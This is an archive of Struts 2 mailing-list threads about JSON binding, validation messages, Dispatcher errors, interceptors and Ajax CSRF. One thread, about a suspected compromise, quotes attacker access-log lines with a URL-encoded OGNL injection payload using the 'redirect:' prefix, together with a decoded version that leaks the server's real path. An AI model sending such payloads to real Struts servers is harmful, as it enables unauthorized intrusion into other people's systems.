setContact(new Contcat()); getContact().setFirstName(John); -- JSON TEST SUBMISSION -- $.ajax({ ... other ajax settings ... // manually insert data for testing data: {testValue:yes,contact.firstName:John,contactId:100}, }); 2014-10-28 18:19 GMT-04:00 Burton Rhodes burtonrho...@gmail.com: I am having issues setting nested parameters on an object using the json-plugin. I've created a basic example that I'm currently testing. When debugging at the return SUCCESS line, both the testValue and contactId variables are set correctly. The contact variable, however, is null. The relevant console lines line is WARN : Parameter [contact[firstName]] didn't match acceptedPattern pattern! - but I'm not sure how to fix that as it *should* match the setContact() setter in my Action. Any thoughts on what is going on here? Thanks in advance -- ACTION -- public class ContactJsonAction { private Integer contactId; private Contact contact; private String testValue; public String contactUpdate() throws Exception { return SUCCESS; } // Getters Setters below } -- JSON TEST SUBMISSION -- $.ajax({ ... other ajax settings ... // manually insert data for testing data: {testValue:yes,contact:{firstName:John },contactId:100}, }); -- LOGS -- DEBUG: Creating an DefaultActionProxy for namespace [/app/json] and action name [ContactDetail_update] Oct 28, 17:15:34 (CommonsLogger.java:72) DEBUG: cannot find method [prepareContactUpdate] in action [com.afs.web.action.json.ContactJsonAction@b7a6ee] Oct 28, 17:15:34 (CommonsLogger.java:72) DEBUG: cannot find method [prepareDoContactUpdate] in action [com.afs.web.action.json.ContactJsonAction@b7a6ee] Oct 28, 17:15:34 (CommonsLogger.java:72) DEBUG: Setting params NONE Oct 28, 17:15:34 (CommonsLogger.java:72) DEBUG: Setting params testValue = [ yes ] contact[firstName] = [ Bean ] contactId = [ 100 ] Oct 28, 17:15:34 (CommonsLogger.java:72) DEBUG: Parameter [contactId] was accepted and will be appended to action! Oct 28, 17:15:34 (CommonsLogger.java:56) WARN : Parameter [contact[firstName]] didn't match acceptedPattern pattern! Oct 28, 17
Re: Struts2 json-plugin - issue setting nested bean?
Unless you use the json inteceptor to map the request boy to the action, you need to send the contact firstName as contact.firstName, so Struts will invoke setContact(new Contcat()); getContact().setFirstName(John); -- JSON TEST SUBMISSION -- $.ajax({ ... other ajax settings ... // manually insert data for testing data: {testValue:yes,contact.firstName:John,contactId:100}, }); 2014-10-28 18:19 GMT-04:00 Burton Rhodes burtonrho...@gmail.com: I am having issues setting nested parameters on an object using the json-plugin. I've created a basic example that I'm currently testing. When debugging at the return SUCCESS line, both the testValue and contactId variables are set correctly. The contact variable, however, is null. The relevant console lines line is WARN : Parameter [contact[firstName]] didn't match acceptedPattern pattern! - but I'm not sure how to fix that as it *should* match the setContact() setter in my Action. Any thoughts on what is going on here? Thanks in advance -- ACTION -- public class ContactJsonAction { private Integer contactId; private Contact contact; private String testValue; public String contactUpdate() throws Exception { return SUCCESS; } // Getters Setters below } -- JSON TEST SUBMISSION -- $.ajax({ ... other ajax settings ... // manually insert data for testing data: {testValue:yes,contact:{firstName:John },contactId:100}, }); -- LOGS -- DEBUG: Creating an DefaultActionProxy for namespace [/app/json] and action name [ContactDetail_update] Oct 28, 17:15:34 (CommonsLogger.java:72) DEBUG: cannot find method [prepareContactUpdate] in action [com.afs.web.action.json.ContactJsonAction@b7a6ee] Oct 28, 17:15:34 (CommonsLogger.java:72) DEBUG: cannot find method [prepareDoContactUpdate] in action [com.afs.web.action.json.ContactJsonAction@b7a6ee] Oct 28, 17:15:34 (CommonsLogger.java:72) DEBUG: Setting params NONE Oct 28, 17:15:34 (CommonsLogger.java:72) DEBUG: Setting params testValue = [ yes ] contact[firstName] = [ Bean ] contactId = [ 100 ] Oct 28, 17:15:34 (CommonsLogger.java:72) DEBUG: Parameter [contactId] was accepted and will be appended to action! Oct 28, 17:15:34 (CommonsLogger.java:56) WARN : Parameter [contact[firstName]] didn't match acceptedPattern pattern! Oct 28, 17:15:34 (CommonsLogger.java:72) DEBUG: Parameter [testValue] was accepted and will be appended to action! Oct 28, 17:15:34 (CommonsLogger.java:76) DEBUG: Retrieving convert for class [class com.afs.web.action.json.ContactJsonAction] and property [contactId] Oct 28, 17:15:34 (CommonsLogger.java:72) DEBUG: field-level type converter for property [contactId] = none found Oct 28, 17:15:34 (CommonsLogger.java:72) DEBUG: global-level type converter for property [contactId] = com.afs.web.converter.MyNumberConverter@1611a05 Oct 28, 17:15:34 (CommonsLogger.java:76) DEBUG: Retrieving convert for class [class com.afs.web.action.json.ContactJsonAction] and property [testValue] Oct 28, 17:15:34 (CommonsLogger.java:72) DEBUG: field-level type converter for property [testValue] = none found Oct 28, 17:15:34 (CommonsLogger.java:72) DEBUG: global-level type converter for property [testValue] = none found Oct 28, 17:15:34 (CommonsLogger.java:72) DEBUG: falling back to default type converter [com.opensymphony.xwork2.conversion.impl.XWorkBasicConverter@a5eac1] Oct 28, 17:15:34 (CommonsLogger.java:72)
Re: struts2 json return to front
Have you tried to use firebug or some http proxy or sniffer to check the reponse sent to the browser? 2014-10-28 20:50 GMT-04:00 john lee sh_thorn_b...@yahoo.com.invalid: After click the button, the value of partid is passed to action class, and see the output '123' from the console.the assigned value of dummymesg is displayed on the console as well. but the dummymesg never return to front javascript.looks like success or error function call never be called, please advise thanks in advance Cart.jsp script type=text/javascript$(function() { $(#deleteButton).click(function(){ $.ajax({ type: POST, url: cart-del!del.action, data: {'partid':'123'}, dataType:json, success: function(json){ console.log(return success); var obj = $.parseJSON(json); alert(dummey mesg=+obj.dummymesg); return false; }, error: function(json){ console.log(return error = +json); alert(json= + json); return false; } }); }); });/scriptbutton id=deleteButtondelete/button struts.xmlpackage name=default extends=json-default ... action name=cart-del class=CartAction method=del result name=json-data type=json/result /action /package CartAction.java public class CartAction extends ActionSupport { private String partid; public void setPartid(String partid) { this.partid=partid.trim(); } public String getPartid() { return partid; } public void setDummymesg(String dummymesg) { this.dummymesg=dummymesg; } public String getDummymesg() { return dummymesg; } public String del() throws Exception { dummymesg=struts function reached; System.out.println(cart-del, partid=+partid+\n); System.out.println(cart-del, dummymesg=+dummymesg+\n); return json-data; } }
Re: Is the Dojo plugin version shipped with Struts 2.3.x vulnerable?
We use Dojo with Struts 2, but we don't use the plugin. We just use both together, and they work quite nicely. 2014-10-06 11:01 GMT-04:00 Christoph Nenning christoph.nenn...@lex-com.net : There's an S2-jQuery plugin, which for simple (and some complex) is a solid replacement. I personally tend to do the JS stuff manually, YMMV. you can find it here: https://github.com/struts-community-plugins/struts2-jquery Thank you both for the helpful suggestions. :) Off the top of my head I would think that using a regular jQuery version (i.e., one that does not come bundled with Struts) would be a more flexible solution. Or are there any major improvements with the S2-jQuery plugin or major drawbacks with the regular jQuery library that I am missing? Thanks, Markus A nice feature of the plugin is, that it provides jsp tags for all kinds of jqery-ui widgets. You can see that in the showcase app: http://struts.jgeppert.com/struts2-jquery-showcase/index.action AFAIK is the main reason why that plugin is not part of the core struts repo to be able to ship new versions when jquery/jquery-ui are updated, independently of struts release-cycle. If you don't want/need the custom tags you can of course integrate jquery yourself. regards, Christoph This Email was scanned by Sophos Anti Virus
Re: Dispatcher attempts to write on the response after it has been commited
Well, that's a good thing, but anyway I think the default dispatcher should avoid this kind of error. JL Sent via BlackBerry from T-Mobile -Original Message- From: Lukasz Lenart lukaszlen...@apache.org Date: Tue, 18 Mar 2014 06:50:18 To: Struts Users Mailing Listuser@struts.apache.org Reply-To: Struts Users Mailing List user@struts.apache.org Subject: Re: Dispatcher attempts to write on the response after it has been commited As from 2.3.17 you will be able to write your own DispatcherErrorHandler https://issues.apache.org/jira/browse/WW-3887 https://cwiki.apache.org/confluence/display/WW/Dispatcher 2014-03-18 6:06 GMT+01:00 JOSE L MARTINEZ-AVIAL jlm...@gmail.com: Hi, I'm using Struts 2.3.16.1 with Weblogic 10.3. I recently noticed some errors on the server log: java.lang.IllegalStateException: Response already committed at weblogic.servlet.internal.ServletResponseImpl.objectIfCommitted(ServletResponseImpl.java:1553) at weblogic.servlet.internal.ServletResponseImpl.sendError(ServletResponseImpl.java:612) at org.apache.struts2.dispatcher.Dispatcher.sendError(Dispatcher.java:914) at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:574) at org.apache.struts2.dispatcher.ng.ExecuteOperations.executeAction(ExecuteOperations.java:77) at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:99) at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:42) at com.spb.eco.security.auditory.web.MDCSessionIdFilter.doFilter(MDCSessionIdFilter.java:128) at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:42) at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.run(WebAppServletContext.java:3496) at weblogic.security.acl.internal.AuthenticatedSubject.doAs(AuthenticatedSubject.java:321) at weblogic.security.service.SecurityManager.runAs(Unknown Source) at weblogic.servlet.internal.WebAppServletContext.securedExecute(WebAppServletContext.java:2180) at weblogic.servlet.internal.WebAppServletContext.execute(WebAppServletContext.java:2086) at weblogic.servlet.internal.ServletRequestImpl.run(ServletRequestImpl.java:1406) at weblogic.work.ExecuteThread.execute(ExecuteThread.java:201) at weblogic.work.ExecuteThread.run(ExecuteThread.java:173) I took a look at my logs, and it seems this error message is being generated when there is a broken connection from the client's side. In that situation I got the following exception in my logs: java.net.SocketException: Connection reset at java.net.SocketOutputStream.socketWrite(SocketOutputStream.java:96) at java.net.SocketOutputStream.write(SocketOutputStream.java:136) at com.certicom.io.OutputSSLIOStream.write(Unknown Source) at com.certicom.tls.record.WriteHandler.flushOutput(Unknown Source) at com.certicom.tls.record.WriteHandler.write(Unknown Source) at com.certicom.io.OutputSSLIOStreamWrapper.write(Unknown Source) at weblogic.servlet.internal.ChunkOutput.writeChunkNoTransfer(ChunkOutput.java:548) at weblogic.servlet.internal.ChunkOutput.writeChunks(ChunkOutput.java:505) at weblogic.servlet.internal.ChunkOutput.flush(ChunkOutput.java:382) at weblogic.servlet.internal.ChunkOutput.checkForFlush(ChunkOutput.java:469) at weblogic.servlet.internal.ChunkOutput.write(ChunkOutput.java:304) at weblogic.servlet.internal.ChunkOutputWrapper.write(ChunkOutputWrapper.java:143) at weblogic.servlet.internal.ServletOutputStreamImpl.write(ServletOutputStreamImpl.java:169) at org.apache.struts2.dispatcher.StreamResult.doExecute(StreamResult.java:294) [...] but just after that, the java.lang.IllegalStateException: Response already committed is shown on the server logs. After checking the code, I believe the problem is that when the exception is thrown while writing to the response, the Dispatcher catches it and calls the method sendError, and tries to write the error message in the response. Since the response is not writable anymore, the web server is throwing the exception Response already committed. I think this could be avoided by changing the method sendError of class Dispatcher to chech if the response is committed before trying to write in it.There is no point on doing anything with the response if it has already been committed. Should I open a ticket for this in JIRA? JL -- Łukasz + 48 606 323 122 http://www.lenart.org.pl/ - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org - To unsubscribe, e-mail
Dispatcher attempts to write on the response after it has been commited
Hi, I'm using Struts 2.3.16.1 with Weblogic 10.3. I recently noticed some errors on the server log: java.lang.IllegalStateException: Response already committed at weblogic.servlet.internal.ServletResponseImpl.objectIfCommitted(ServletResponseImpl.java:1553) at weblogic.servlet.internal.ServletResponseImpl.sendError(ServletResponseImpl.java:612) at org.apache.struts2.dispatcher.Dispatcher.sendError(Dispatcher.java:914) at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:574) at org.apache.struts2.dispatcher.ng.ExecuteOperations.executeAction(ExecuteOperations.java:77) at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:99) at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:42) at com.spb.eco.security.auditory.web.MDCSessionIdFilter.doFilter(MDCSessionIdFilter.java:128) at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:42) at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.run(WebAppServletContext.java:3496) at weblogic.security.acl.internal.AuthenticatedSubject.doAs(AuthenticatedSubject.java:321) at weblogic.security.service.SecurityManager.runAs(Unknown Source) at weblogic.servlet.internal.WebAppServletContext.securedExecute(WebAppServletContext.java:2180) at weblogic.servlet.internal.WebAppServletContext.execute(WebAppServletContext.java:2086) at weblogic.servlet.internal.ServletRequestImpl.run(ServletRequestImpl.java:1406) at weblogic.work.ExecuteThread.execute(ExecuteThread.java:201) at weblogic.work.ExecuteThread.run(ExecuteThread.java:173) I took a look at my logs, and it seems this error message is being generated when there is a broken connection from the client's side. In that situation I got the following exception in my logs: java.net.SocketException: Connection reset at java.net.SocketOutputStream.socketWrite(SocketOutputStream.java:96) at java.net.SocketOutputStream.write(SocketOutputStream.java:136) at com.certicom.io.OutputSSLIOStream.write(Unknown Source) at com.certicom.tls.record.WriteHandler.flushOutput(Unknown Source) at com.certicom.tls.record.WriteHandler.write(Unknown Source) at com.certicom.io.OutputSSLIOStreamWrapper.write(Unknown Source) at weblogic.servlet.internal.ChunkOutput.writeChunkNoTransfer(ChunkOutput.java:548) at weblogic.servlet.internal.ChunkOutput.writeChunks(ChunkOutput.java:505) at weblogic.servlet.internal.ChunkOutput.flush(ChunkOutput.java:382) at weblogic.servlet.internal.ChunkOutput.checkForFlush(ChunkOutput.java:469) at weblogic.servlet.internal.ChunkOutput.write(ChunkOutput.java:304) at weblogic.servlet.internal.ChunkOutputWrapper.write(ChunkOutputWrapper.java:143) at weblogic.servlet.internal.ServletOutputStreamImpl.write(ServletOutputStreamImpl.java:169) at org.apache.struts2.dispatcher.StreamResult.doExecute(StreamResult.java:294) [...] but just after that, the java.lang.IllegalStateException: Response already committed is shown on the server logs. After checking the code, I believe the problem is that when the exception is thrown while writing to the response, the Dispatcher catches it and calls the method sendError, and tries to write the error message in the response. Since the response is not writable anymore, the web server is throwing the exception Response already committed. I think this could be avoided by changing the method sendError of class Dispatcher to chech if the response is committed before trying to write in it.There is no point on doing anything with the response if it has already been committed. Should I open a ticket for this in JIRA? JL
Re: Security Issues Vulnerability
What version of Struts are you using? It seems 60.15.137.72 - - [27/Jan/2014:17:51:48 +0530] GET /common/test2.action?redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D HTTP/1.0 200 74 transforms to 60.15.137.72 - - [27/Jan/2014:17:51:48 +0530] GET /common/test2.action?redirect:${#a=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#b=#a.getRealPath(/),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#b),#matt.getWriter().flush(),#matt.getWriter().close()} HTTP/1.0 200 74 That basically returns on the response the real path of your application. 2014-01-30 Amol Ghotankar ghotankaru...@gmail.com I have seen some sample app for testing which was developed using struts2. I saw some unknow files getting uploaded on test, I initially thought that my tomcat was hacked or my server was hacked but now after a close analysis it looks a struts2 webwork secuirty issue or vulenrability or may me my miss configurations or something not sure Can any one in struts2 team fix this gloabally and help me to get rid of this locally without version upgrades. Here are the tomcat logs which clearly says the story 60.15.137.72 - - [27/Jan/2014:17:51:48 +0530] GET /common/test.action?redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D HTTP/1.0 200 74 60.15.137.72 - - [27/Jan/2014:17:51:48 +0530] GET /common/test2.action?redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D HTTP/1.0 200 74 60.15.137.72 - - [27/Jan/2014:17:51:49 +0530] GET /common/test3.action?redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D HTTP/1.0 200 74 I hope my issue is clear and valid. Original issue on stackoverflow at http://stackoverflow.com/questions/21104956/tomcat-files-getting-uploaded-security-loophole -- *With Best Regards,* Amol Ghotankar Technical Lead M: +91 9960 980 419 http://www.cursivetech.com
Re: Translation of fieldName in annotated validations
Hi, Just reviewing old things, I discovered I didn't answer you. The think is that the same effect can be obtained using the already existing functionality. I can create the following annotation to validate a field: @RequiredStringValidator(type = ValidatorType.SIMPLE, fieldName = phoneCountryCode, messageParams={getText('PhoneCountryCode.label')},key = validation-error.mandatory)}, And then define the following i18n properties PhoneCountryCode.label = Country Code validation-error.mandatory = The field {0} is mandatory And then the generated message will be The field Country Code is mandatory. So I'm going to close this issue, as it is no longer a problem. Best regards and thanks JL 2013/9/30 Lukasz Lenart lukaszlen...@apache.org 2013/9/25 JOSE L MARTINEZ-AVIAL jlm...@gmail.com: Well, I have found a workaround that is not much of a hacking. The annotations has a messageParameters that is evaluated against the valuestack. Since the action is in the valuestack, and it implements ActionSupport,I can pass a parameter that is a call to getText. requiredStrings = {@RequiredStringValidator(type = ValidatorType.SIMPLE, messageParams={getText('email')}, fieldName = event.email, key = validation-error.mandatory)}, and by defining the message as: validation-error.mandatory= The field {0} is mandatory email = E-mail I'm not sure if I get you right - does it meet your requirements or do you expect something different? Regards -- Łukasz + 48 606 323 122 http://www.lenart.org.pl/ - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: Struts seems to reset the action instance while its still in interceptor
can you provide the code of your action? 2013/11/3 Ali Akhtar ali.rac...@gmail.com One more thing, in my actual code, I am doing ai.invokeActionOnly(), rather than ai.invoke() . On Mon, Nov 4, 2013 at 2:49 AM, Ali Akhtar ali.rac...@gmail.com wrote: Hopefully I am incorrect, however the following lines in my interceptor's intercept method: action = ai.getAction(); String result = ai.invoke(); logger.debug(Orig action : + action.toString() + , now : + ai.getAction().toString() ); Do produce two different toString() codes for the original action and the new ai.getAction(). Is there any scenario in which this could happen? I'm serving two actions from the same class, i.e mysite/foo is being served by FooAction.foo(), and mysite/bar is being served by FooAction.bar(). So in both cases, the same class is serving two actions. Could this have any bearing on why action.toString() and ai.getAction.toString() are producing different codes? On Mon, Nov 4, 2013 at 2:18 AM, Dave Newton davelnew...@gmail.com wrote: You are incorrect. Actions are instantiated per-request. Other than that, you will need to provide a working example that exhibits the incorrect behavior. On Nov 3, 2013 12:57 PM, Ali Akhtar ali.rac...@gmail.com wrote: Hello, It seems that if I have two concurrent requests being made to the same action, e.g mysite.com/fooAction, then struts resets the first action's instance while that instance may still be in the interceptor. E.g, if I have the following code in my interceptor: action = ai.getAction(); String result = ai.invoke(); logger.debug(Orig action : + action.toString() + , now : + ai.getAction().toString() ); And if I make two concurrent requests to the same action (e.g using javascript), then the line: logger.debug(Orig action : + action.toString() + , now : + ai.getAction().toString() ); will sometimes produce two different `toString()` codes, showing that the original action was in a different instance than the last action. This is a big problem, because now, if I had any code in the interceptor, which was setting certain things on my action, e.g doing the following: MyAction action = (MyAction) ai.getAction(); Auth auth = new Auth ( action.getSession() ); action.setAuth(auth); action.setCookiesMap( Util.getAllCookies() ); String result = ai.invoke(); then there is no guarantee that all those things which I've set on my action are in fact going to be passed to the correct instance. I.e, when `ai.invoke()` is called, it may in fact call a completely different instance of the action, which has different cookies or other data set on it. This could result in different users being given access to each other's data. Am I correct in all of this? If so, is there a solution to this problem? Because this seems to completely defeat the purpose of interceptors. Thanks in advance.
Re: Prevent Ajax Multi-Request in Struts 2
Hi, Since XHR request can not be cross-domain, you can not get a CSRF through XHR( the browser will not allow other page to send a XHR to your server). The only option would be a normal post against your supposed-ajax URL. In order to protect against it, we check for an HTTP header that is sent on any ajax request by our javascript framework (Dojo). A normal form can not be manipulate to add that header, so if the request is suppose to be ajax, and it does not have the header, you can reject it, because it is a CSRF attempt Regards JL 2013/9/25 Alireza Fattahi afatt...@yahoo.com Hi, We want to avoid multi-request sent via Ajax in struts 2 web based application. The `s:token` can be used in regular request-response jsp pages, but it will not work for ajax requests. The problem is the returned respond, which does not populate new value for struts token. I found this issue at http://stackoverflow.com/questions/13353577/howto-do-csrf-protection-in-struts2-application-for-ajax-requestsbut I wonder if there is any better way for that? (I think this is a very common issue which must have been managed in struts) ~Regards, ~~Alireza Fattahi
Re: Translation of fieldName in annotated validations
Yes, what I would like is to define a message for each validator that could be reused with any field just by having the fieldname translated. Let's say I have a form to create an user, with fields First name, Last name and Email, where all the fields are required. I would define the following properties for the labels of the fields firstName = First name lastName = Last name email = E-mail The field is going to be mapped to a bean user in the action. In that case, the messages used for the validation would need to be as follows: validation-error.mandatory= The field ${getText(fieldName)} is mandatory user.firstName = First name user.lastName = Last name user.email = E-mail So I need to duplicate the messages. If I have another form, let's say person, with the same fields, I would also need to create person.firstName = First name person.lastName = Last name person..email = E-mail I have to duplicate the message keys for any bean name I want to use, since they can not be reused. It complicates the maintenance of the code. and the reason for this is that there is no other way to pass an argument to the key (which is actually an OGNL expression) that to use an attribute already defined in the annotation, which is not very flexible. I don't know if it would be possible to add an attribute keyValues to the annotation, which would be an String array. Those values could be used when evaluating the key, giving more flexibility to the programmer. What do you think? JL 2013/9/25 Lukasz Lenart lukaszlen...@apache.org 2013/9/25 JOSE L MARTINEZ-AVIAL jlm...@gmail.com: Hello, I have an Action that receives a parameter *email *on a bean *event*. So basically the parameter is send to the server with name * event.email=jlmagcatgmail.com*'. The bean and the parameter are created correctly, so this part works ok. Now I want to validate the input using annotations. In order to do that I'm using the following annotation at the Action level: @Validations( requiredStrings = {@RequiredStringValidator(type = ValidatorType.SIMPLE, fieldName = event.email, key = validation-error.mandatory)} ) and in the package.properties I have the following definition validation-error.mandatory= The field ${getText(fieldName)} is mandatory event.email = e-mail With this setup, if the parameter event.email is empty or not present, the validator evaluates the expression and returns to the user the following message: The field e-mail is mandatory. It evaluates the key as an OGNL expression, retrieves the fieldName, evaluates the getTest, and elaborate the sentence correctly. So it works ok The issue here is that this forces me to define a property event.email since the attribute fieldName in the annotation is used both to locate the field that needs validation, and as argument for the getText. Is it possible to split that those two roles, so I can user my already existing property email, instead of having to duplicate it as event.email? I am not sure what you want to achieve? Maybe some example? You can always use a different key i.e. validation.error.email.required and then validation.error.email.required = The field e-mail is required! What you presented is the situation when you want to use exactly the same validator for many fields without specifying key or with the same key - it simplifies but isn't flexible ;-) Regards -- Łukasz + 48 606 323 122 http://www.lenart.org.pl/ - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: Translation of fieldName in annotated validations
I have javascript controls for the client-side validation, but we also want to implement server-side validation. I'm not criticizing the framework, I really really like it. I'm just wondering if the validations could be a little more flexible to allow reusing message properties. 2013/9/25 Chris christal...@yahoo.fr Hello, It is only a proposal, but you might also use JavaScript controls. The same JavaScript Code could be use with several forms or pages. But you can also prefer using the mapping field to Java Beans. ( or both ) Regards Chris De : JOSE L MARTINEZ-AVIAL jlm...@gmail.com À : Struts Users Mailing List user@struts.apache.org Envoyé le : Mercredi 25 septembre 2013 12h51 Objet : Re: Translation of fieldName in annotated validations Yes, what I would like is to define a message for each validator that could be reused with any field just by having the fieldname translated. Let's say I have a form to create an user, with fields First name, Last name and Email, where all the fields are required. I would define the following properties for the labels of the fields firstName = First name lastName = Last name email = E-mail The field is going to be mapped to a bean user in the action. In that case, the messages used for the validation would need to be as follows: validation-error.mandatory= The field ${getText(fieldName)} is mandatory user.firstName = First name user.lastName = Last name user.email = E-mail So I need to duplicate the messages. If I have another form, let's say person, with the same fields, I would also need to create person.firstName = First name person.lastName = Last name person..email = E-mail I have to duplicate the message keys for any bean name I want to use, since they can not be reused. It complicates the maintenance of the code. and the reason for this is that there is no other way to pass an argument to the key (which is actually an OGNL expression) that to use an attribute already defined in the annotation, which is not very flexible. I don't know if it would be possible to add an attribute keyValues to the annotation, which would be an String array. Those values could be used when evaluating the key, giving more flexibility to the programmer. What do you think? JL 2013/9/25 Lukasz Lenart lukaszlen...@apache.org 2013/9/25 JOSE L MARTINEZ-AVIAL jlm...@gmail.com: Hello, I have an Action that receives a parameter *email *on a bean *event*. So basically the parameter is send to the server with name * event.email=jlmagcatgmail.com*'. The bean and the parameter are created correctly, so this part works ok. Now I want to validate the input using annotations. In order to do that I'm using the following annotation at the Action level: @Validations( requiredStrings = {@RequiredStringValidator(type = ValidatorType.SIMPLE, fieldName = event.email, key = validation-error.mandatory)} ) and in the package.properties I have the following definition validation-error.mandatory= The field ${getText(fieldName)} is mandatory event.email = e-mail With this setup, if the parameter event.email is empty or not present, the validator evaluates the expression and returns to the user the following message: The field e-mail is mandatory. It evaluates the key as an OGNL expression, retrieves the fieldName, evaluates the getTest, and elaborate the sentence correctly. So it works ok The issue here is that this forces me to define a property event.email since the attribute fieldName in the annotation is used both to locate the field that needs validation, and as argument for the getText. Is it possible to split that those two roles, so I can user my already existing property email, instead of having to duplicate it as event.email? I am not sure what you want to achieve? Maybe some example? You can always use a different key i.e. validation.error.email.required and then validation.error.email.required = The field e-mail is required! What you presented is the situation when you want to use exactly the same validator for many fields without specifying key or with the same key - it simplifies but isn't flexible ;-) Regards -- Łukasz + 48 606 323 122 http://www.lenart.org.pl/ - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: Translation of fieldName in annotated validations
I will open a ticket. My idea is to add a parameter to the annotation called keyArgs, which would be a String array. It would be used as follows: requiredStrings = {@RequiredStringValidator(type = ValidatorType.SIMPLE, keyArgs={email,one,two} fieldName = event.email, key = validation-error.mandatory)}, Then the key/message could be something like this: validation-error.mandatory = The field ${getText(keyArgs[0])} is mandatory It would allow to customize the message even further than it allows now. I suppose it would need to be implemented also in xml validations, but I haven't used them, so I don't what would be needed for that. 2013/9/25 Lukasz Lenart lukaszlen...@apache.org 2013/9/25 JOSE L MARTINEZ-AVIAL jlm...@gmail.com: I have javascript controls for the client-side validation, but we also want to implement server-side validation. I'm not criticizing the framework, I really really like it. I'm just wondering if the validations could be a little more flexible to allow reusing message properties. I think yes, it is possible - please register an issue and we think about that, maybe attach some demo or even patch. Regards -- Łukasz + 48 606 323 122 http://www.lenart.org.pl/ - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: Translation of fieldName in annotated validations
I just created the issue https://issues.apache.org/jira/browse/WW-4208. I maybe able to provide a patch for this, if I have time for it. 2013/9/25 JOSE L MARTINEZ-AVIAL jlm...@gmail.com I will open a ticket. My idea is to add a parameter to the annotation called keyArgs, which would be a String array. It would be used as follows: requiredStrings = {@RequiredStringValidator(type = ValidatorType.SIMPLE, keyArgs={email,one,two} fieldName = event.email, key = validation-error.mandatory)}, Then the key/message could be something like this: validation-error.mandatory = The field ${getText(keyArgs[0])} is mandatory It would allow to customize the message even further than it allows now. I suppose it would need to be implemented also in xml validations, but I haven't used them, so I don't what would be needed for that. 2013/9/25 Lukasz Lenart lukaszlen...@apache.org 2013/9/25 JOSE L MARTINEZ-AVIAL jlm...@gmail.com: I have javascript controls for the client-side validation, but we also want to implement server-side validation. I'm not criticizing the framework, I really really like it. I'm just wondering if the validations could be a little more flexible to allow reusing message properties. I think yes, it is possible - please register an issue and we think about that, maybe attach some demo or even patch. Regards -- Łukasz + 48 606 323 122 http://www.lenart.org.pl/ - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: Translation of fieldName in annotated validations
Well, I have found a workaround that is not much of a hacking. The annotations has a messageParameters that is evaluated against the valuestack. Since the action is in the valuestack, and it implements ActionSupport,I can pass a parameter that is a call to getText. requiredStrings = {@RequiredStringValidator(type = ValidatorType.SIMPLE, messageParams={getText('email')}, fieldName = event.email, key = validation-error.mandatory)}, and by defining the message as: validation-error.mandatory= The field {0} is mandatory email = E-mail the message is presented as The field E-mail is mandatory It works, although is a bit convoluted. 2013/9/25 JOSE L MARTINEZ-AVIAL jlm...@gmail.com I just created the issue https://issues.apache.org/jira/browse/WW-4208. I maybe able to provide a patch for this, if I have time for it. 2013/9/25 JOSE L MARTINEZ-AVIAL jlm...@gmail.com I will open a ticket. My idea is to add a parameter to the annotation called keyArgs, which would be a String array. It would be used as follows: requiredStrings = {@RequiredStringValidator(type = ValidatorType.SIMPLE, keyArgs={email,one,two} fieldName = event.email, key = validation-error.mandatory)}, Then the key/message could be something like this: validation-error.mandatory = The field ${getText(keyArgs[0])} is mandatory It would allow to customize the message even further than it allows now. I suppose it would need to be implemented also in xml validations, but I haven't used them, so I don't what would be needed for that. 2013/9/25 Lukasz Lenart lukaszlen...@apache.org 2013/9/25 JOSE L MARTINEZ-AVIAL jlm...@gmail.com: I have javascript controls for the client-side validation, but we also want to implement server-side validation. I'm not criticizing the framework, I really really like it. I'm just wondering if the validations could be a little more flexible to allow reusing message properties. I think yes, it is possible - please register an issue and we think about that, maybe attach some demo or even patch. Regards -- Łukasz + 48 606 323 122 http://www.lenart.org.pl/ - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Translation of fieldName in annotated validations
